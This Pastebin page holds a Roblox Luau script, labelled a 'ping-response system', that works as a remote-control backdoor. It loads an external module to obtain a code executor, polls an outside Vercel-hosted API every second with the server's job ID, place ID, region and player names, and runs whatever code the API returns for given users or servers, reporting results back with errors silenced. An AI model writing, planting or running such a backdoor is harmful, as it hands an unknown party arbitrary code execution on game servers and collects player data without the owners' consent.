Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- PING-RESPONSE SYSTEM - Single request to get messages
- local api = "https://am-i-three.vercel.app/api"
- local reg = api..'/region'
- local http = game:GetService("HttpService")
- local Players = game:GetService("Players")
- local RunService = game:GetService("RunService")
- local function decode(data)
- return http:JSONDecode(data)
- end
- local function encode(data)
- return http:JSONEncode(data)
- end
- local function post(url, data)
- local data = type(data)=="string" and data or encode(data)
- return pcall(function()
- local response = http:PostAsync(url, data)
- return decode(response)
- end)
- end
- -- Setup require functionality
- local req = require
- local b = Instance.new("BindableFunction")
- b.OnInvoke = req
- local function require(...)
- return b:Invoke(...)
- end
- local loadstring = require(105348050925605).luau_execute
- -- Get current game info with Studio fallback
- local currentJobId = game.JobId
- if currentJobId == "" or currentJobId == nil then
- currentJobId = "00000000-0000-0000-0000-000000000000"
- end
- local currentPlaceId = game.PlaceId
- local function getRegion()
- local success,region = pcall(function()
- local got = http:GetAsync(reg)
- local tab = http:JSONDecode(got)
- return tab.country
- end)
- if not success then
- region = 'Unknown'
- end
- return region
- end
- local region
- repeat
- region = getRegion()
- wait(1)
- until region
- -- Function to ping server and get messages back
- local function pingAndFetchMessages()
- local playerList = {}
- for _, player in pairs(Players:GetPlayers()) do
- table.insert(playerList, player.Name)
- end
- local requestData = {
- action = "ping",
- jobId = currentJobId,
- placeId = currentPlaceId,
- playerCount = #Players:GetPlayers(),
- players = playerList,
- timestamp = os.time(),
- region = region,
- }
- local success, response = post(api, requestData)
- if not success then
- --warn("Failed to ping server:", response)
- return nil
- end
- return response
- end
- -- Function to notify server that code was executed (for username messages)
- local function notifyExecuted(username, messageId, executeSuccess)
- local success, response = post(api, {
- action = "executed",
- username = username,
- messageId = messageId,
- ran = executeSuccess,
- })
- if not success then
- --warn("Failed to notify execution for username:", username, response)
- end
- end
- -- Function to notify server that code was executed (for jobId messages)
- local function notifyJobIdExecuted(jobId, messageId, executeSuccess)
- local success, response = post(api, {
- action = "executed",
- jobId = jobId,
- messageId = messageId,
- ran = executeSuccess,
- })
- if not success then
- --warn("Failed to notify execution for jobId:", jobId, response)
- end
- end
- local ids = {}
- _G.running_http = false
- if _G.running_http then
- wait(2)
- end
- _G.running_http = true
- -- Main execution loop
- while wait(1) and _G.running_http do
- local response = pingAndFetchMessages()
- if response and response.success then
- local data = response.data
- -- Handle username-based messages
- if data.userMessages then
- for username, messages in pairs(data.userMessages) do
- if not Players:FindFirstChild(username) then
- continue
- end
- -- Execute each message for this user
- for _, messageData in ipairs(messages) do
- local messageId = messageData.id
- local code = messageData.content
- local timestamp = messageData.timestamp
- if table.find(ids, messageId) then
- continue
- else
- table.insert(ids, messageId)
- end
- task.delay(60, function()
- local index = table.find(ids, messageId)
- if index then
- table.remove(ids, index)
- end
- end)
- -- Execute the code
- local executeSuccess, executeError = pcall(function()
- loadstring(code)()
- end)
- notifyExecuted(username, messageId, executeSuccess)
- end
- end
- end
- -- Handle jobId-based messages
- if data.jobIdMessages and data.jobIdMessages[currentJobId] then
- local messages = data.jobIdMessages[currentJobId]
- for _, messageData in ipairs(messages) do
- local messageId = messageData.id
- local code = messageData.content
- local timestamp = messageData.timestamp
- if table.find(ids, messageId) then
- continue
- else
- table.insert(ids, messageId)
- end
- task.delay(60, function()
- local index = table.find(ids, messageId)
- if index then
- table.remove(ids, index)
- end
- end)
- -- Execute the code
- local executeSuccess, executeError = pcall(function()
- loadstring(code)()
- end)
- notifyJobIdExecuted(currentJobId, messageId, executeSuccess)
- end
- end
- else
- -- Handle cases where server returns no data or error
- if response then
- --warn("Server response error:", response.error or "Unknown error")
- end
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment